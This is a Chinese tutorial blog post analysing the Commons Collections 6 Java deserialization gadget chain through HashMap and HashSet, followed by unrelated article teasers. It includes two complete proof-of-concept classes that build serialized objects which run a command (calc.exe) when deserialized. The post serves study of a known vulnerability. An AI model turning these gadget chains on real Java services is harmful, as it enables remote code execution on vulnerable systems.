java反序列化之CommonCollections6利⽤链的学习

一、源起

前文学习CC1链和URLDNS链的学习,同时学习过程中知道cc1受jdk版本的限制,故而进一步分析cc6链的利用过程,这个利用链不受jdk版本的限制,只要commons collections小于等于3.2.1,都存在这个漏洞。

ps:环境使用:

  • ComonsCllections <= 3.2.1
  • java 1.8.0_261

二、利用链1(java.util.HashMap#readObject链)

1、利用链说明

老规矩,还是用P神简化后的利用链进行学习

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashMap.readObject()
      • java.util.HashMap.hash()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

我们首先要关注的就是利用链开始到 org.apache.commons.collections.map.LazyMap.get()  这一部分, 因为在CC1链的分析中,我们探索了LazyMap的get方法的利用过程,在CC1链中,利用的是 sun.reflect.annotationInvocationHandler#invoke 方法调用的 LazyMap#get ; 但是因为  sun.reflect.annotationInvocationHandler 受限于jdk版本,所以CC6链中需要重新寻找会调用LazyMap#get的链路。

在CC6链路中,找到的类是 org.apache.commons.collections.keyvalue.TiedMapEntry , 在其 getValue() 方法中调用了 this.map.get , 而其hashCode方法又调用了 getValue 方法:

package org.apache.commons.collections.keyvalue;import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;public class TiedMapEntry implements Entry, KeyValue, Serializable {private static final long serialVersionUID = -8453869361373831205L;private final Map map;private final Object key;public TiedMapEntry(Map map, Object key) {this.map = map;this.key = key;}public Object getKey() {return this.key;}public Object getValue() {return this.map.get(this.key);}public Object setValue(Object value) {if (value == this) {throw new IllegalArgumentException("Cannot set value to this map entry");} else {return this.map.put(this.key, value);}}public boolean equals(Object obj) {if (obj == this) {return true;} else if (!(obj instanceof Entry)) {return false;} else {Entry other = (Entry)obj;Object value = this.getValue();return (this.key == null ? other.getKey() == null : this.key.equals(other.getKey())) && (value == null ? other.getValue() == null : value.equals(other.getValue()));}}public int hashCode() {Object value = this.getValue();return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());}public String toString() {return this.getKey() + "=" + this.getValue();}
}

所以,欲触发LazyMap利用链, 就是要找到哪里调用了 TiedMapEntry#hashCode ; 

其实说起hashCode() 方法, 在之前分析URLDNS链中就有调用,故而我们分析 java.util.HashMap#readObject 中就可以找到HashMap#hash() 的调用

public class HashMap<K,V> extends AbstractMap<K,V>implements Map<K,V>, Cloneable, Serializable {// ...static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}// ...private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden
stuffs.defaultReadObject();// ...// Read the keys and values, and put the mappings in the
HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}}

在HashMap的readObject方法中,调用到了 hash(key), 而hash方法中,调用到了 key.hashCode()。 所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前面分析过程,构成一个完整的利用链。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造poc,首先,我们先把恶意的 LazyMap构成出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行,构造LazyMap的时候先用一个人畜无害的fakeTransformers 对象,等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有了恶意的LazyMap对象outerMap, 将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() ,我们需要将tme对象作为HashMap的一个key。 注意,这里需要新建一个HashMap, 而不是用之前的LazyMap利用链里的那个HashMap,两者没有任何关系:

Map expMap = new HashMap();
expMap.put(tme, "valuevalue");

最后,我们才是将这个expMap作为对象来进行序列化,不过,不要遗忘将真正的poc的transformers数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

所以最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception{Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap =  new HashMap();expMap.put(tme, "valuevalue");//将真正的transformers数组设置进去Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();//本地发序列化测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o  = (Object)ois.readObject();}}

但是,实际一执行上面的poc,发现并没有弹出计算器,这又是为什么?我们实际调试跟进一下,

关键点再LazyMap的get方法,下图我画框的部分,就是最后触发命令执行的Transform(), 这个if语句并没有进入,因为map.containsKey(key) 的结果是 true:

这是为什么呢?outerMap中我并没有放入一个key 是keykey的对象呀。

我们看下之前的代码,唯一出现keykey的地方就是在TiedMapEntry的构造函数里,但TiedMapEntry的构造函数并没有修改outerMap。

其实,这个关键点就出在expMap.put(tme,"valuevalue") 这个语句里面。 HashMap的put方法中,也有调用 hash(key) :

public V put(K key, V value) {return putVal(hash(key), key, value, false, true);
}

这里就导致LazyMap 这个利用链在这里被调用一遍。 因为我前面用了fakeTransformers,所以此时并没有触发命令执行,但实际上也对我们构造payload产生了影响。

这里解决方法也很简单,只需要将keykey这个 Key,再从outerMap中移除即可,故而完整的POC如下:
 

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CC6 {public static void main(String[] args) throws Exception{Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap =  new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");//将真正的transformers数组设置进去Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();//本地发序列化测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o  = (Object)ois.readObject();}}

 

三、利用链2(java.util.HashSet#readObject()链)

1、利用链说明

其实 org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()  及之后部分都是一样的,只是说还有哪里会调用到TiedMapEntry.hashCode() 方法, 那么这条利用链如下:

java.util.HashSet#readObject --> java.util.HashSet#add --> java.util.HashSet#put --> java.util.HashSet#hashcode

Gadget chain:

  • java.io.ObjectInputStream.readObject()
    • java.util.HashSet.readObject()
      • java.util.HashSet.add()
      • java.util.HashSet.put()
        • org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
          • org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
            • org.apache.commons.collections.map.LazyMap.get()
              • org.apache.commons.collections.functors.ChainedTransformer.transform(
                • org.apache.commons.collections.functors.InvokerTransformer.transform()
                  • java.lang.reflect.Method.invoke()
                    • java.lang.Runtime.exec()

其实就是通过HashSet中的readObject方法在最后会触发put方法(本质就是HashMap的put方法),然后put方法如HashMap中一样,会触发到hashcode方法

但是这里需要把 e 变成TiedMapEntry对象, 这样才能触发到 TiedMapEntry的 hashCode方法。

而e的值来自于 E e = (E) s.readObject();   所以我们跟进下HashSet的 writeObject方法,查看e的来源,如下所示,其实就来自于我们序列化前设置的HashSet对象

回到 HashSet#readObject() 方法中,其会调用put方法,追究到底其实就是 HashMap#put() 方法, 所以这部分我们只要控制e就可以,也就是 e 这个键是 TiedMapEntry对象即可

刚好 HashSet中提供了 add 方法,HashSet对象添加一个元素,也就是e 这键的值设置为 TiedMapEntry 对象, 将TiedMapEntry对象添加到HashSet中。

2、构造POC

经过上面的分析,利用链也清晰了,那么我们着手构造POC。 首先,我们先把恶意的LazyMap构造出来:

Transformer[] fakeTransformers = new Transformer[] { new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);

为了避免本地调试时触发命令执行, 构造LazyMap的时候先用一个人畜无害的fakeTransformers对象, 等最后要生成Payload的时候,再把真正的transformers 替换进去。

现在,我们有一个恶意的LazyMap 对象 outerMap,将其作为TiedMapEntry的map属性:

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

接着,为了调用TiedMapEntry#hashCode() , 我们需要将 tme 对象作为HashSet的一个key。 注意,这里需要新建一个 HashSet, 而不是用之前的 LazyMap利用链里的那个HashMap, 两者没有任何关系,使用add方法给HashSet添加一个元素:

HashSet expSet = new HashSet();
expSet.add(tme);

最后,我们才是将这个expSet作为对象来进行序列化,不过不要遗忘将真正的poc的transformers 数组设置进来。

//将真正的transformer数组设置
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);//生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();

同样的,expSet.add(tme);  这个语句⾥⾯。

HashSet的add⽅法中,也有调⽤到 put方法,并会导致执行hash(key) 方法,最终导致出现和hashMap一样 的问题。

关键点在LazyMap的get⽅法,下图我画框的部分,就是最后触发命令执⾏的 transform() ,但是这个if语句并没有进⼊,因为 map.containsKey(key) 的结果是true:

这⾥就导致 LazyMap 这个利⽤链在这⾥被调⽤了⼀遍,因为我前⾯⽤了 fakeTransformers ,所以此时并没有触发命令执⾏,但实际上也对我们构造Payload产⽣了影响。

我们的解决⽅法也很简单,只需要将keykey这个Key,再从outerMap中移除即可:

所以,最终构造成的测试POC如下:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;public class CC62 {public static void main(String[] args) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);Map innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");HashSet expSet = new HashSet();expSet.add(tme);outerMap.remove("keykey");//将真正的transformers数组设置进去Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);//生成序列化字符串ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expSet);oos.close();//本地发序列化测试触发System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o  = (Object)ois.readObject();}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/55781.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

运用MinIO技术服务器实现文件上传——在Linux系统上安装和启动(一)

# MinIO 单机版环境搭建详解 ## 1. 简介 随着大数据时代的到来&#xff0c;数据存储的需求日益增大&#xff0c;如何有效地存储和管理大规模的非结构化数据成为许多企业和开发者面临的挑战。MinIO 作为一个高性能、分布式对象存储系统&#xff0c;致力于为用户提供简单、快速…

Linux 6.11版本发布

Linux 6.11版本的发布是Linux社区的一个重要里程碑&#xff0c;它不仅在实时计算、性能优化方面取得了显著进展&#xff0c;还在安全性上迈出了关键一步。 一、实时计算与性能优化 1.io_uring子系统支持 Linux 6.11引入了io_uring子系统的增强功能&#xff0c;特别是支持了b…

SpringBoot中间件Docker

Docker&#xff08;属于C/S架构软件&#xff09; 简介与概述 1.Docker 是一个开源的应用容器引擎&#xff0c;基于 Go 语言 并遵从 Apache2.0 协议开源。 Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#xff0c;然后发布到任何流行的 Linux …

【ubuntu】Ubuntu20.04安装中文百度输入法

1.download 百度Linux输入法-支持全拼、双拼、五笔 2.unzip unzip Ubuntu_Deepin-fcitx-baidupinyin-64.zip 3.setting 3.1 setting fcitx sudo apt install aptitude sudo aptitude install fcitx-bin fcitx-table fcitx-config-gtk fcitx-frontend-all sudo aptitude in…

Cocos_鼠标滚轮放缩地图

文章目录 前言一、环境二、版本一_code2.分析类属性方法详细分析详细分析onLoad()onMouseWheel(event)详细分析 总结 前言 学习笔记&#xff0c;请多多斧正。 一、环境 通过精灵rect放置脚本实现鼠标滚轮放缩地图。 二、版本一_code import { _decorator, Component, Node }…

使用Buildpacks构建Docker镜像

## 使用Buildpacks构建Docker镜像 ![](../assets/运维手册-Buildpacks-Buildpacks.io.png) ### Buildpacks简介 与Dockerfile相比&#xff0c;Buildpacks为构建应用程序提供了更高层次的抽象。具体来说&#xff0c;Buildpacks&#xff1a; * 提供一个平衡的控制&#xff0c;…

【Python】Conda离线执行命令

以下链接证明了想要离线使用conda命令的方法 启用离线模式 — Anaconda documentation 基本上大部分的命令都会提供网络选项 例如creat命令 conda create — conda 24.7.1 文档 - Conda 文档

多区域OSPF路由协议

前言 之前也有过关于OSPF路由协议的博客&#xff0c;但都不是很满意&#xff0c;不是很完整。现在也是听老师讲解完OSPF路由协议&#xff0c;感触良多&#xff0c;所以这里重新整理一遍。这次应该是会满意的 一些相关概念 链路状态 链路指路由器上的一个接口&#xff0c;链路状…

ubuntu的useradd和adduser命令

useradd vs adduser 1. useradd 类型&#xff1a;Linux 命令。功能&#xff1a;用于创建新用户&#xff0c;但不会自动创建用户的主目录和密码。参数&#xff1a; -c&#xff1a;添加备注。-d&#xff1a;指定用户主目录。-e&#xff1a;设置用户有效期。-f&#xff1a;设置密…

ChatGLM详解

一 ChatGLM定义 ChatGLM是由清华技术成果转化的公司智谱AI发布的开源的、支持中英双语问答的对话语言模型系列&#xff0c;并针对中文进行了优化&#xff0c;该模型基于General Language Model&#xff08;GLM&#xff09;架构构建&#xff0c;ChatGLM是一款基于人工智能技术的…

Oracle架构之物理存储之审计文件

文章目录 1 审计文件&#xff08;audit files&#xff09;1.1 定义1.2 查看审计信息1.3 审计相关参数1.4 审计的类型1.4.1 语句审计1.4.2 权限审计1.4.3 对象审计1.4.4 细粒度的审计 1.5 与审计相关的数据字典视图 1 审计文件&#xff08;audit files&#xff09; 1.1 定义 审…

C++面试速通宝典——9

170. 简述数组和指针的区别&#xff1f; ‌‌‌‌  答&#xff1a;数组要么在静态存储区被创建&#xff08;如全局数组&#xff09;&#xff0c;要么在栈上被创建。指针可以随时指向任意类型的内存块。 1. 修改内容上的区别 char a[] “hello”; a[0] ‘X’; char * p …

毕设分享 基于协同过滤的电影推荐系统

文章目录 0 简介1 设计概要2 课题背景和目的3 协同过滤算法原理3.1 基于用户的协同过滤推荐算法实现原理3.1.1 步骤13.1.2 步骤23.1.3 步骤33.1.4 步骤4 4 系统实现4.1 开发环境4.2 系统功能描述4.3 系统数据流程4.3.1 用户端数据流程4.3.2 管理员端数据流程 4.4 系统功能设计 …

【Android 源码分析】Activity生命周期之onStop-2

忽然有一天&#xff0c;我想要做一件事&#xff1a;去代码中去验证那些曾经被“灌输”的理论。                                                                                  – 服装…

信息安全工程师(28)机房安全分析与防护

前言 机房安全分析与防护是一个复杂而细致的过程&#xff0c;涉及到物理安全、环境控制、电力供应、数据安全、设备管理、人员管理以及紧急预案等多个方面。 一、机房安全分析 1. 物理安全威胁 非法入侵&#xff1a;未经授权的人员可能通过门窗、通风口等进入机房&#xff0c;…

【LeetCode】每日一题 2024_10_10 优质数对的总数 I(暴力/哈希)

前言 每天和你一起刷 LeetCode 每日一题~ LeetCode 启动&#xff01; 题目&#xff1a;优质数对的总数 I 代码与解题思路 简单题先暴力~ 直接对着题意模拟即可&#xff0c;力扣上只要是标着简单标签的题目&#xff0c;不用犹豫&#xff0c;直接对他使用暴力吧&#xff01; …

亮度(luminance)

亮度&#xff08;luminance&#xff09;的单位是坎德拉每平方米&#xff08;cd/m&#xff09;。它是用来描述光源或物体表面发出的光在某个方向上的亮度程度。亮度可以简单理解为人眼感知的物体表面在某一特定方向上发出的光强。 亮度的理解&#xff1a; 亮度的概念&#xff…

LabVIEW混合控制器质量检测

随着工业自动化水平的提高&#xff0c;对控制器的精度、稳定性、可靠性要求也在不断上升。特别是在工程机械、自动化生产、风力发电等领域&#xff0c;传统的质量检测方法已无法满足现代工业的高要求。因此&#xff0c;开发一套自动化、精确、可扩展的混合控制器质量检测平台成…

【Linux】常用系统命令

Linux 系统中有许多常用的命令&#xff0c;适用于不同的任务和场景。以下是一些基础且常用的 Linux 命令&#xff1a; 1. **文件和目录操作** - ls&#xff1a;列出目录内容。 - cd&#xff1a;改变当前目录。 - pwd&#xff1a;打印当前工作目录。 - mkdir&#…

Redis 数据类型string(字符串)

目录 1 基本特性 2 主要操作命令 2.1 设置键值 2.1.1 SET key value [EX seconds] [PX milliseconds] [NX|XX] 2.1.2 MSET key value [key value ...] 2.1.3 SETEX key seconds value 2.1.4 PSETEX key milliseconds value 2.1.5 APPEND key value 2.2 获取键值 …